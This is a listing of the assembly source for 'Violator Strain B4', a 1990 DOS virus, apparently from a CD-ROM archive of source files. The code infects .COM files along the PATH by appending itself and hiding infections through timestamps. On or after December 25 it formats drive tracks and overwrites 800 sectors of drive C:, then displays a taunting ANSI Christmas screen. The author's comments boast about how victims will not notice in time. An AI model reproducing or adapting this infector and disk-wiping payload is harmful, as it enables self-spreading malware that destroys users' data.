home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VIOL-B4.ASM < prev    next >
Assembly Source File  |  1990-11-27  |  33KB  |  691 lines

  1. ;*****************************************************************************
  2. ;                       Violator Strain B4
  3. ;*****************************************************************************
  4. ;
  5. ; Notes: (Nov.26.9O)
  6. ; ------------------
  7. ;
  8. ; "Happy Holiday's Guys!!!"
  9. ;
  10. ; Haha! I just got off the line with Flash Force. We decided to make 
  11. ; a Violator Strain B4 which will have a nice little ANSI Christmas tree
  12. ; with RABID's seasons greetings. So the file will be huge! But who cares.
  13. ; People won't notice an infection until it's too late due to the short life
  14. ; of this virus.
  15. ;
  16. ; New editions to this virus are a counter that keeps track of how many philes
  17. ; it has infected (Where it is in the program, I have no idea!!!), and a
  18. ; nice ANSI screen.
  19. ;
  20. ; I also fixed that stupid re-infection bug in B3... Bah! To err is human...
  21. ;
  22. ;*****************************************************************************
  23. ;
  24. ;            Written by The High Evolutionary
  25. ;
  26. ;         Copyright (c) 199O by The RABID Nat'nl Development Corp.
  27. ;
  28. ;*****************************************************************************
  29.  
  30. CODE    SEGMENT
  31.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  32.         ORG     $+0100H
  33.  
  34. VCODE:  JMP     virus
  35.  
  36.         NOP
  37.         NOP
  38.         NOP
  39.         NOP
  40.         NOP
  41.         NOP
  42.         NOP
  43.         NOP
  44.         NOP
  45.         NOP
  46.         NOP
  47.         NOP
  48.         NOP
  49.         NOP
  50.         NOP
  51.  
  52. v_start equ     $
  53.  
  54. virus:  PUSH    CX
  55.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  56.         CLD                             
  57.         MOV     SI,DX                   
  58.         ADD     SI,first_3              
  59.         MOV     DI,OFFSET 100H          
  60.         MOV     CX,3
  61.         REPZ    MOVSB                   
  62.         MOV     SI,DX                   
  63.         MOV     AH,30H
  64.         MOV    marker,1
  65.     CALL    filter
  66.         CMP     AL,0                    
  67.         JNZ     year_check                  
  68.         JMP     quit                    
  69.  
  70. filter:    CMP    marker,1
  71.     JE    int_21
  72.     CMP    marker,2
  73.     JE    int_13
  74.     CMP    marker,3
  75.     JE    int_26
  76.     RET
  77.  
  78. int_21:    INT    21H
  79.     RET
  80.  
  81. int_13:    INT    13h
  82.     RET
  83.  
  84. int_26:    INT    26h
  85.     RET
  86.  
  87. year_check:
  88.     MOV    AH,2AH                ; Get date info
  89.     MOV    marker,1            ; Set function for INT 21
  90.     CALL    filter                ; Call the filter routine
  91.     CMP    CX,1990                ; Check if it's 1990
  92.     JGE    month_check            ; Yes? Check the month
  93.     JMP    infect                ; No? Go to infection routine
  94.  
  95. month_check:
  96.     CMP    DH,month            ; Check if it's December
  97.     JGE    day_check            ; Yeah? Check the day
  98.     JMP    infect                ; No? Infect a phile
  99.  
  100. day_check:
  101.     CMP     DL,day                ; Check if it's Christmas
  102.     JGE    kill_13                ; Yeah? Kill all drives
  103.     JMP    infect                ; No? Infect a poor guy!
  104.  
  105. kill_13:
  106.     MOV    AL,counter            ; Move drive into AL
  107.     CALL    ala_13                ; Kill the drive
  108.     CMP    counter,27            ; Check to see if it's drive Z:
  109.     JE    re_format            ; Yes! Then go to re_format
  110.     INC    counter                ; Increase the counter
  111.     LOOP    kill_13                ; Jump up and fry the next one
  112.  
  113. ala_13:    MOV    CH,0                ; Set to track 0
  114.     MOV    DL,counter            ; Set drive to counter
  115.     MOV    AH,05h                ; Set function for formatting
  116.     MOV    DH,0                ; Format Head 0
  117.     MOV    marker,2            ; Set for INT_13 call
  118.     CALL    filter                ; Call the filter routine
  119.     RET                    ; Return from call
  120. ;
  121. ; I changed this routine, becuase in the original Violator, I rewrote the
  122. ; data segment by calling it for the INT 26. All I did this time, was just
  123. ; set BX to be an offset of my INTRO var. That way, when Drive C is formatted,
  124. ; the Violator identifier string will be written everywhere... Kinda neat!
  125. ;
  126.  
  127. re_format:
  128.     MOV    BP,OFFSET ansi        ; Offset of ANSI screen
  129.     MOV    CX,2000            ; Set for 2000 bytes
  130.     MOV    AH,13h            ; Set function for write to screen
  131.     MOV    AL,3            ; Set all attributes to be written
  132.     MOV    BH,0            ;
  133.     MOV    BL,0            ;
  134.     MOV    DH,0            ; Row 0
  135.     MOV    DL,0            ; Column 0
  136.     INT    10h            ; Display it to screen
  137.     PUSHF                ; Push Flags onto stack 'cause INT
  138.                     ; 26 kill the flag status
  139.     MOV     BX,OFFSET intro        ; Add a message on the fried drive!
  140.     MOV    DX,00            ; Set for sector 0
  141.     MOV    CX,800            ; Write 800 sectors
  142.     MOV    AL,2            ; Make it drive C:
  143.     MOV    marker,3        ; Set up for INT 26 call
  144.     CALL    filter            ; Call filter for INT 26
  145.     POPF                ; Restore the flags we pushed
  146.  
  147. infect: PUSH    ES
  148.         MOV     AH,2FH
  149.     MOV    marker,1
  150.     CALL    filter
  151.         MOV     [SI+old_dta],BX
  152.         MOV     [SI+old_dts],ES         
  153.         POP     ES
  154.         MOV     DX,dta                  
  155.         ADD     DX,SI                   
  156.         MOV     AH,1AH
  157.     CALL    filter
  158.         PUSH    ES
  159.         PUSH    SI
  160.         MOV     ES,DS:2CH
  161.         MOV     DI,0                    
  162.  
  163. find_path:
  164.         POP     SI
  165.         PUSH    SI                      
  166.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  167.         LODSB
  168.         MOV     CX,OFFSET 8000H         
  169.         REPNZ   SCASB                   
  170.         MOV     CX,4
  171.  
  172. check_next_4:
  173.         LODSB
  174.         SCASB
  175.         JNZ     find_path               
  176.         LOOP    check_next_4            
  177.         POP     SI
  178.         POP     ES
  179.         MOV     [SI+path_ad],DI         
  180.         MOV     DI,SI
  181.         ADD     DI,wrk_spc              
  182.         MOV     BX,SI                   
  183.         ADD     SI,wrk_spc              
  184.         MOV     DI,SI                   
  185.         JMP     SHORT   slash_ok
  186.  
  187. set_subdir:
  188.         CMP     WORD PTR [SI+path_ad],0 
  189.         JNZ     found_subdir            
  190.         JMP     all_done                
  191.  
  192. found_subdir:
  193.         PUSH    DS
  194.         PUSH    SI
  195.         MOV     DS,ES:2CH               ;DS points to environment segment
  196.         MOV     DI,SI
  197.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  198.         ADD     DI,wrk_spc              ;DI points to file name workspace
  199.  
  200. move_subdir:
  201.         LODSB                           ;Get character
  202.         CMP     AL,';'                  ;Is it a ';' delimiter?
  203.         JZ      moved_one               ;Yes, found another subdirectory
  204.         CMP     AL,0                    ;End of PATH string?
  205.         JZ      moved_last_one          ;Yes
  206.         STOSB                           ;Save PATH marker into [DI]
  207.         JMP     SHORT   move_subdir
  208.  
  209. moved_last_one:
  210.         MOV     SI,0
  211.  
  212. moved_one:
  213.         POP     BX                      ;Pointer to virus data area
  214.         POP     DS                      ;Restore DS
  215.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  216.         NOP
  217.         CMP     CH,'\'                  ;Ends with "\"?
  218.         JZ      slash_ok                ;If yes
  219.         MOV     AL,'\'                  ;Add one, if not
  220.         STOSB
  221.  
  222. slash_ok:
  223.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  224.         MOV     SI,BX                   ;Restore SI
  225.         ADD     SI,f_spec               ;Point to "*.COM"
  226.         MOV     CX,6
  227.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  228.         MOV     SI,BX
  229.         MOV     AH,4EH
  230.         MOV     DX,wrk_spc
  231.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  232.         MOV     CX,3                    ;Attributes of Read Only or Hidden 
  233.     CALL    filter
  234.         JMP     SHORT   find_first
  235.  
  236. find_next:
  237.         MOV     AH,4FH
  238.     CALL    filter
  239.  
  240. find_first:
  241.         JNB     found_file              ;Jump if we found it
  242.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  243.  
  244. found_file:
  245.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  246.         AND     AL,1CH                  
  247.         CMP     AL,1CH                  
  248.         JZ      find_next               ;If so, go find another file
  249.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H 
  250. ;
  251. ;Is the file too long?
  252. ;
  253.         JA      find_next               ;If too long, find another one
  254.         CMP     WORD PTR [SI+dta_len],0AH 
  255. ;
  256. ;Is it too short?
  257. ;
  258.         JB      find_next               ;Then go find another one
  259.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  260.         PUSH    SI                      ;Save SI
  261.         ADD     SI,dta_nam              ;Point SI to file name
  262.  
  263. more_chars:
  264.         LODSB
  265.         STOSB
  266.         CMP     AL,0
  267.         JNZ     more_chars              ;Move characters until we find a 00
  268.         POP     SI
  269.         MOV     AX,OFFSET 4300H
  270.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  271.         ADD     DX,SI
  272.     CALL    filter
  273.         MOV     [SI+old_att],CX         ;Save the old attributes
  274.         MOV     AX,OFFSET 4301H         ;Set attributes
  275.         AND     CX,OFFSET 0FFFEH
  276.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  277.         ADD     DX,SI                   ;Point to \path\name
  278.     CALL    filter
  279.         MOV     AX,OFFSET 3D02H         ;Read/Write
  280.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  281.         ADD     DX,SI                   ;Point to \path\name
  282.     CALL    filter
  283.         JNB     opened_ok               ;If file was opened OK
  284.         JMP     fix_attr                ;If it failed, restore the attributes
  285.  
  286. opened_ok:
  287.     INC     times            ; Add one to the times counter so
  288.                     ; that we can keep track off how many
  289.                     ; files we have infected...
  290.         MOV     BX,AX
  291.         MOV     AX,OFFSET 5700H
  292.     CALL    filter
  293.         MOV     [SI+old_tim],CX         ;Save file time
  294.         MOV     [SI+ol_date],DX         ;Save the date
  295.         MOV     AH,2CH
  296.     CALL    filter
  297.         MOV     AH,3FH
  298.         MOV     CX,3
  299.         MOV     DX,first_3
  300.         ADD     DX,SI
  301.     CALL    filter
  302.         JB      fix_time_stamp      ;Quit, if read failed
  303.         CMP     AX,3                ;Were we able to read all 3 bytes?
  304.         JNZ     fix_time_stamp      ;Quit, if not
  305.         MOV     AX,OFFSET 4202H
  306.         MOV     CX,0
  307.         MOV     DX,0
  308.     CALL    filter
  309.         JB      fix_time_stamp      ;Quit, if it didn't work
  310.         MOV     CX,AX               ;DX:AX (long int) = file size
  311.         SUB     AX,3                ;Subtract 3 (DX must be 0, here)
  312.         MOV     [SI+jmp_dsp],AX     ;Save the displacement in a JMP inst
  313.         ADD     CX,OFFSET c_len_y
  314.         MOV     DI,SI               ;Point DI to virus data area
  315.         SUB     DI,OFFSET c_len_x
  316.         MOV     [DI],CX         
  317.         MOV     AH,40H
  318.         MOV     CX,virlen               ;Length of virus, in bytes
  319.         MOV     DX,SI
  320.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  321.                                         ;address of virus code in memory
  322.     CALL    filter
  323.         JB      fix_time_stamp          ;Jump if error
  324.         CMP     AX,OFFSET virlen        ;All bytes written?
  325.         JNZ     fix_time_stamp          ;Jump if error
  326.         MOV     AX,OFFSET 4200H
  327.         MOV     CX,0
  328.         MOV     DX,0
  329.     CALL    filter
  330.         JB      fix_time_stamp          ;Jump if error
  331.         MOV     AH,40H
  332.         MOV     CX,3
  333.         MOV     DX,SI                   ;Virus data area
  334.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  335.     CALL    filter
  336.  
  337. fix_time_stamp:
  338.         MOV     DX,[SI+ol_date]         ;Old file date
  339.         MOV     CX,[SI+old_tim]         ;Old file time
  340.         AND     CX,OFFSET 0FFE0H
  341.         OR      CX,1CH            ;Make timestamp with the infected 
  342.                     ;seconds!!!                  
  343.         MOV     AX,OFFSET 5701H
  344.     CALL    filter
  345.         MOV     AH,3EH
  346.     CALL    filter
  347.  
  348. fix_attr:
  349.         MOV     AX,OFFSET 4301H
  350.         MOV     CX,[SI+old_att]         ;Old Attributes
  351.         MOV     DX,wrk_spc
  352.         ADD     DX,SI                   ;DX points to \path\name in workspace
  353.     CALL    filter
  354.  
  355. all_done:
  356.         PUSH    DS
  357.         MOV     AH,1AH
  358.         MOV     DX,[SI+old_dta]
  359.         MOV     DS,[SI+old_dts]
  360.     CALL    filter
  361.         POP     DS
  362.  
  363.  
  364. ;*************************************************************************
  365. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  366. ;  in since the address in a real JMP 100 is an offset, and the offset
  367. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  368. ;  stack, we can RET to address 0100H just as though we JMPed there.
  369. ;**********************************************************************
  370.  
  371. quit:
  372.         POP     CX
  373.         XOR     AX,AX
  374.         XOR     BX,BX
  375.         XOR     DX,DX
  376.         XOR     SI,SI
  377.         MOV     DI,OFFSET 0100H
  378.         PUSH    DI
  379.         XOR     DI,DI
  380.         RET     0FFFFH
  381.  
  382. vir_dat EQU     $
  383.  
  384. month    db    12            ;Set month to December
  385. day    db    25            ;Set day to Christmas
  386. intro    db    13,10
  387.     DB    'Violator Strain B4 - Written by The RABID Nat''nl Development Corp.',13,10
  388.     DB    ' RABID would like to take this opportunity to extend it''s sincerest',13,10
  389.     db    ' holiday wishes to all Pir8 lamers around the world! If you are',13,10
  390.     db    ' reading this, then you are lame!!!',13,10
  391.     db    ' Anyway, to John McAffe! Have a Merry Christmas and a virus filled',13,10
  392.     db    ' new year. Go ahead! Make our day!',13,10,13,10
  393.     db    ' Remember! In the festive season, Say NO to drugs!!! They suck shit!',13,10
  394.     db    '(Bah! We make a virus this large, might as well have something positive!)',13,10
  395. marker    DB    0            ;Marker for INT purposes
  396. counter    DB    2            ;Counter for drives
  397. times    DB    0
  398. ansi    DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  399.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  400.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  401.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  402.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,'T',15,'H',15,'E',15
  403.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  404.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  405.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  406.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  407.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  408.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  409.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  410.         DB      ' ',15,' ',15,' ',15,' ',15,'┌',9,'─',9,'─',9,'─',9,'─'
  411.         DB      9,'─',9,'─',9,'─',9,'─',9,'┐',9,'┌',9,'─',9,'─',15,'─'
  412.         DB      15,'─',15,'─',15,'─',15,'┐',15,'┌',15,'─',15,'─',15,'─'
  413.         DB      15,'─',9,'─',9,'─',9,'─',9,'┐',9,'┌',9,'─',9,'─',9,'┐'
  414.         DB      9,'┌',12,'─',12,'─',12,'─',12,'─',12,'─',12,'─',12,'┐'
  415.         DB      12,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  416.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  417.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  418.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  419.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  420.         DB      15,' ',15,'│',9,' ',9,' ',9,' ',9,'┌',9,'─',9,'┐',9,' '
  421.         DB      9,' ',9,'│',9,'│',9,' ',9,' ',9,'┌',15,'┐',15,' ',15,' '
  422.         DB      15,'│',15,'│',15,' ',15,' ',15,' ',15,'┌',9,'┐',9,' '
  423.         DB      9,' ',9,'│',9,'│',9,' ',9,' ',9,'│',9,'│',12,' ',12,' '
  424.         DB      12,' ',12,'┌',12,'┐',12,' ',12,'│',12,' ',15,' ',15,' '
  425.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  426.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  427.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  428.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  429.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'│',9,' '
  430.         DB      9,' ',9,' ',9,'│',9,' ',9,'│',9,' ',9,' ',9,'│',9,'│'
  431.         DB      15,' ',15,' ',15,'└',15,'┘',15,' ',15,' ',15,'│',15,'│'
  432.         DB      15,' ',15,' ',15,' ',15,'│',9,'│',9,' ',9,' ',9,'│',9
  433.         DB      '│',9,' ',9,' ',9,'│',12,'│',12,' ',12,' ',12,' ',12,'│'
  434.         DB      12,'│',12,' ',12,'│',9,' ',15,' ',15,' ',15,' ',15,' '
  435.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  436.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  437.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  438.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  439.         DB      15,' ',15,' ',15,' ',15,' ',15,'│',9,' ',9,' ',9,' ',9
  440.         DB      '└',9,'─',9,'┘',9,' ',9,' ',9,'│',15,'│',15,' ',15,' '
  441.         DB      15,'┌',15,'┐',15,' ',15,' ',15,'│',15,'│',15,' ',15,' '
  442.         DB      15,' ',15,'└',9,'┘',9,' ',9,'┌',9,'┘',9,'│',9,' ',9,' '
  443.         DB      9,'│',12,'│',12,' ',12,' ',12,' ',12,'│',12,'│',12,' '
  444.         DB      12,'│',9,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  445.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  446.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  447.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  448.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  449.         DB      15,' ',15,' ',15,'│',1,' ',1,' ',1,'┌',1,'─',1,'┐',1,' '
  450.         DB      1,' ',1,'┌',15,'┘',15,'│',15,' ',15,' ',15,'│',15,'│'
  451.         DB      15,' ',15,' ',15,'│',15,'│',15,' ',15,' ',15,' ',15,'┌'
  452.         DB      1,'┐',1,' ',1,'└',1,'┐',1,'│',12,' ',12,' ',12,'│',12
  453.         DB      '│',12,' ',12,' ',12,' ',12,'│',12,'│',1,' ',1,'│',1,' '
  454.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  455.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  456.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  457.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  458.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  459.         DB      15,'│',1,' ',1,' ',1,'│',1,' ',1,'└',1,'┐',1,' ',1,'└'
  460.         DB      15,'┐',15,'│',15,' ',15,' ',15,'│',15,'│',15,' ',15,' '
  461.         DB      15,'│',15,'│',15,' ',15,' ',15,' ',15,'│',1,'│',1,' '
  462.         DB      1,' ',1,'│',1,'│',12,' ',12,' ',12,'│',12,'│',12,' ',12
  463.         DB      ' ',12,' ',12,'│',1,'│',1,' ',1,'│',1,' ',15,' ',15,' '
  464.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  465.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  466.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  467.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  468.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'│',1,' '
  469.         DB      1,' ',1,'│',1,' ',1,' ',1,'│',15,' ',15,' ',15,'│',15
  470.         DB      '│',15,' ',15,' ',15,'│',15,'│',15,' ',15,' ',15,'│',15
  471.         DB      '│',1,' ',1,' ',1,' ',1,'└',1,'┘',1,' ',1,' ',1,'│',12
  472.         DB      '│',12,' ',12,' ',12,'│',12,'│',12,' ',12,' ',12,' ',12
  473.         DB      '└',1,'┘',1,' ',1,'│',1,' ',15,' ',15,' ',15,' ',15,' '
  474.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  475.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  476.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  477.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  478.         DB      15,' ',15,' ',15,' ',15,' ',15,'└',1,'─',1,'─',1,'┘',1
  479.         DB      ' ',1,' ',1,'└',15,'─',15,'─',15,'┘',15,'└',15,'─',15
  480.         DB      '─',15,'┘',15,'└',15,'─',15,'─',15,'┘',1,'└',1,'─',1,'─'
  481.         DB      1,'─',1,'─',1,'─',1,'─',1,'─',1,'┘',12,'└',12,'─',12,'─'
  482.         DB      12,'┘',12,'└',12,'─',12,'─',1,'─',1,'─',1,'─',1,'─',1
  483.         DB      '┘',1,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  484.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  485.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  486.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  487.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  488.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',15,'a',15
  489.         DB      't',15,'i',15,'o',15,'n',15,'a',15,'l',15,' ',15,'D',15
  490.         DB      'e',15,'v',15,'e',15,'l',15,'o',15,'p',15,'m',15,'e',15
  491.         DB      'n',15,'t',15,' ',15,'C',15,'o',15,'r',15,'p',15,'o',15
  492.         DB      'r',15,'a',15,'t',15,'i',15,'o',15,'n',15,' ',15,' ',15
  493.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  494.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  495.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  496.         DB      ' ',15,'.',7,'.',7,'.',7,'w',7,'o',7,'u',7,'l',7,'d',7
  497.         DB      ' ',7,'l',7,'i',7,'k',7,'e',7,' ',7,'t',7,'o',7,' ',7
  498.         DB      't',7,'a',7,'k',7,'e',7,' ',7,'t',7,'h',7,'i',7,'s',7
  499.         DB      ' ',7,'o',7,'p',7,'p',7,'o',7,'u',7,'r',7,'t',7,'u',7
  500.         DB      'n',7,'i',7,'t',7,'y',7,' ',7,'t',7,'o',7,' ',7,'s',7
  501.         DB      'p',7,'r',7,'e',7,'a',7,'d',7,' ',7,'i',7,'t',7,39,7,'s'
  502.         DB      7,' ',7,'s',7,'i',7,'n',7,'c',7,'e',7,'r',7,'e',7,'s'
  503.         DB      7,'t',7,' ',7,'w',7,'i',7,'s',7,'h',7,'e',7,'s',7,' '
  504.         DB      7,'o',7,'f',7,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  505.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'a',7,' ',7
  506.         DB      'v',7,'e',7,'r',7,'y',7,' ',7,'m',7,'e',7,'r',7,'r',7
  507.         DB      'y',7,' ',7,'C',7,'h',7,'r',7,'i',7,'s',7,'t',7,'m',7
  508.         DB      'a',7,'s',7,' ',7,'S',7,'e',7,'a',7,'s',7,'o',7,'n',7
  509.         DB      '.',7,' ',7,'H',7,'a',7,'v',7,'e',7,' ',7,'a',7,' ',7
  510.         DB      'v',7,'i',7,'r',7,'u',7,'s',7,' ',7,'f',7,'i',7,'l',7
  511.         DB      'l',7,'e',7,'d',7,' ',7,'n',7,'e',7,'w',7,' ',7,'y',7
  512.         DB      'e',7,'a',7,'r',7,'!',7,'!',7,'!',7,' ',15,' ',15,' '
  513.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  514.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  515.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  516.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  517.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  518.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  519.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  520.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  521.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  522.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  523.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  524.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  525.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  526.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',132,'O',132
  527.         DB      'W',132,' ',132,'F',132,'O',132,'R',132,'M',132,'A',132
  528.         DB      'T',132,'T',132,'I',132,'N',132,'G',132,' ',132,'Y',132
  529.         DB      'O',132,'U',132,'R',132,' ',132,'H',132,'A',132,'R',132
  530.         DB      'D',132,'-',132,'D',132,'R',132,'I',132,'V',132,'E',132
  531.         DB      '!',132,'!',132,'!',132,' ',15,' ',15,' ',15,' ',15,' '
  532.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  533.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  534.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  535.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  536.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  537.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  538.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  539.         DB      15,' ',15,15,142,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  540.         DB      6,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  541.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  542.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  543.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  544.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  545.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  546.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  547.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  548.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  549.         DB      15,' ',15,'░',10,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  550.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  551.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  552.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  553.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  554.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  555.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  556.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  557.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  558.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  559.         DB      15,'░',10,'▒',10,'░',10,' ',15,' ',15,' ',15,' ',15,' '
  560.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  561.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  562.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  563.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  564.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
